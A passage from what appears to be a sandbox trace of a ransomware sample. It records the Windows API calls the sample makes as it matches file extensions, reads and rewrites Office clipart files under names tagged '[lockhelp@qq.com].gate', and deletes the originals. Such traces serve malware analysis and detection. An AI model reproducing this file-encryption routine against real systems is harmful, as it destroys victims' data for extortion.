Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.717] lstrlenW (lpString=".doc") returned 4 [0290.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.717] lstrlenW (lpString=".docx") returned 5 [0290.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.717] lstrlenW (lpString=".pdf") returned 4 [0290.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.717] lstrlenW (lpString=".xls") returned 4 [0290.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.717] lstrlenW (lpString=".xlsx") returned 5 [0290.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.717] lstrlenW (lpString=".ppt") returned 4 [0290.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.717] lstrlenW (lpString=".zip") returned 4 [0290.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.718] lstrlenW (lpString=".rar") returned 4 [0290.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.718] lstrlenW (lpString=".bz2") returned 4 [0290.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.718] lstrlenW (lpString=".7z") returned 3 [0290.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.718] lstrlenW (lpString=".dbf") returned 4 [0290.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.718] lstrlenW (lpString=".1cd") returned 4 [0290.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.718] lstrlenW (lpString=".jpg") returned 4 [0290.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.718] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.718] lstrlenW (lpString="BS00441_.WMF") returned 12 [0290.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0290.719] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3524) returned 1 [0290.719] CloseHandle (hObject=0x414) returned 1 [0290.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220 [0290.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0290.719] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.719] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0290.720] GetLastError () returned 0x0 [0290.720] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xdc4, lpOverlapped=0x0) returned 1 [0291.019] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xdd0, lpOverlapped=0x0) returned 1 [0291.019] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0291.020] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0291.020] SetEndOfFile (hFile=0x394) returned 1 [0291.020] CloseHandle (hObject=0x394) returned 1 [0291.020] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.020] SetEndOfFile (hFile=0x414) returned 1 [0291.026] CloseHandle (hObject=0x414) returned 1 [0291.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0291.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.034] lstrlenW (lpString=".doc") returned 4 [0291.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.034] lstrlenW (lpString=".docx") returned 5 [0291.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.034] lstrlenW (lpString=".pdf") returned 4 [0291.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.034] lstrlenW (lpString=".xls") returned 4 [0291.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.034] lstrlenW (lpString=".xlsx") returned 5 [0291.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.034] lstrlenW (lpString=".ppt") returned 4 [0291.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.034] lstrlenW (lpString=".zip") returned 4 [0291.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.034] lstrlenW (lpString=".rar") returned 4 [0291.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.034] lstrlenW (lpString=".bz2") returned 4 [0291.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.034] lstrlenW (lpString=".7z") returned 3 [0291.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.034] lstrlenW (lpString=".dbf") returned 4 [0291.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.034] lstrlenW (lpString=".1cd") returned 4 [0291.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.035] lstrlenW (lpString=".jpg") returned 4 [0291.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.035] lstrlenW (lpString=".doc") returned 4 [0291.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.035] lstrlenW (lpString=".docx") returned 5 [0291.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.035] lstrlenW (lpString=".pdf") returned 4 [0291.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.035] lstrlenW (lpString=".xls") returned 4 [0291.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.035] lstrlenW (lpString=".xlsx") returned 5 [0291.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.035] lstrlenW (lpString=".ppt") returned 4 [0291.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.035] lstrlenW (lpString=".zip") returned 4 [0291.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.035] lstrlenW (lpString=".rar") returned 4 [0291.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.035] lstrlenW (lpString=".bz2") returned 4 [0291.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.035] lstrlenW (lpString=".7z") returned 3 [0291.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.035] lstrlenW (lpString=".dbf") returned 4 [0291.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.036] lstrlenW (lpString=".1cd") returned 4 [0291.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0291.036] lstrlenW (lpString=".jpg") returned 4 [0291.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.036] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0291.036] lstrlenW (lpString="BS00453_.WMF") returned 12 [0291.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0291.113] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2436) returned 1 [0291.113] CloseHandle (hObject=0x4dc) returned 1 [0291.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220 [0291.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0291.114] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.114] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0291.115] GetLastError () returned 0x0 [0291.115] ReadFile (in: hFile=0x4dc, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x984, lpOverlapped=0x0) returned 1 [0291.196] WriteFile (in: hFile=0x418, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x990, lpOverlapped=0x0) returned 1 [0291.197] ReadFile (in: hFile=0x4dc, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0291.197] WriteFile (in: hFile=0x418, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0291.197] SetEndOfFile (hFile=0x418) returned 1 [0291.197] CloseHandle (hObject=0x418) returned 1 [0291.201] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.201] SetEndOfFile (hFile=0x4dc) returned 1 [0291.206] CloseHandle (hObject=0x4dc) returned 1 [0291.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0291.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.214] lstrlenW (lpString=".doc") returned 4 [0291.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.214] lstrlenW (lpString=".docx") returned 5 [0291.214] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.214] lstrlenW (lpString=".pdf") returned 4 [0291.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.214] lstrlenW (lpString=".xls") returned 4 [0291.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.214] lstrlenW (lpString=".xlsx") returned 5 [0291.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.214] lstrlenW (lpString=".ppt") returned 4 [0291.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.214] lstrlenW (lpString=".zip") returned 4 [0291.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.214] lstrlenW (lpString=".rar") returned 4 [0291.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.214] lstrlenW (lpString=".bz2") returned 4 [0291.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.214] lstrlenW (lpString=".7z") returned 3 [0291.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.215] lstrlenW (lpString=".dbf") returned 4 [0291.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.215] lstrlenW (lpString=".1cd") returned 4 [0291.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.215] lstrlenW (lpString=".jpg") returned 4 [0291.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.215] lstrlenW (lpString=".doc") returned 4 [0291.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.215] lstrlenW (lpString=".docx") returned 5 [0291.215] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.215] lstrlenW (lpString=".pdf") returned 4 [0291.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.215] lstrlenW (lpString=".xls") returned 4 [0291.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.215] lstrlenW (lpString=".xlsx") returned 5 [0291.215] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.215] lstrlenW (lpString=".ppt") returned 4 [0291.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.215] lstrlenW (lpString=".zip") returned 4 [0291.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.215] lstrlenW (lpString=".rar") returned 4 [0291.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.215] lstrlenW (lpString=".bz2") returned 4 [0291.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.215] lstrlenW (lpString=".7z") returned 3 [0291.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.215] lstrlenW (lpString=".dbf") returned 4 [0291.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.216] lstrlenW (lpString=".1cd") returned 4 [0291.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0291.216] lstrlenW (lpString=".jpg") returned 4 [0291.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.216] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0291.216] lstrlenW (lpString="BS01636_.WMF") returned 12 [0291.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0291.217] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1874) returned 1 [0291.217] CloseHandle (hObject=0x4d4) returned 1 [0291.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0291.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0291.218] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.218] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0291.218] GetLastError () returned 0x0 [0291.218] ReadFile (in: hFile=0x4d4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x752, lpOverlapped=0x0) returned 1 [0291.295] WriteFile (in: hFile=0x4dc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x760, lpOverlapped=0x0) returned 1 [0291.295] ReadFile (in: hFile=0x4d4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0291.296] WriteFile (in: hFile=0x4dc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0291.296] SetEndOfFile (hFile=0x4dc) returned 1 [0291.456] CloseHandle (hObject=0x4dc) returned 1 [0291.458] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.458] SetEndOfFile (hFile=0x4d4) returned 1 [0291.460] CloseHandle (hObject=0x4d4) returned 1 [0291.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0291.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.461] lstrlenW (lpString=".doc") returned 4 [0291.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.461] lstrlenW (lpString=".docx") returned 5 [0291.461] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.461] lstrlenW (lpString=".pdf") returned 4 [0291.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.461] lstrlenW (lpString=".xls") returned 4 [0291.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.461] lstrlenW (lpString=".xlsx") returned 5 [0291.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.461] lstrlenW (lpString=".ppt") returned 4 [0291.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.461] lstrlenW (lpString=".zip") returned 4 [0291.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.461] lstrlenW (lpString=".rar") returned 4 [0291.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.461] lstrlenW (lpString=".bz2") returned 4 [0291.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.461] lstrlenW (lpString=".7z") returned 3 [0291.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.461] lstrlenW (lpString=".dbf") returned 4 [0291.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.462] lstrlenW (lpString=".1cd") returned 4 [0291.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.462] lstrlenW (lpString=".jpg") returned 4 [0291.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.462] lstrlenW (lpString=".doc") returned 4 [0291.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString=".docx") returned 5 [0291.462] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.462] lstrlenW (lpString=".pdf") returned 4 [0291.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.462] lstrlenW 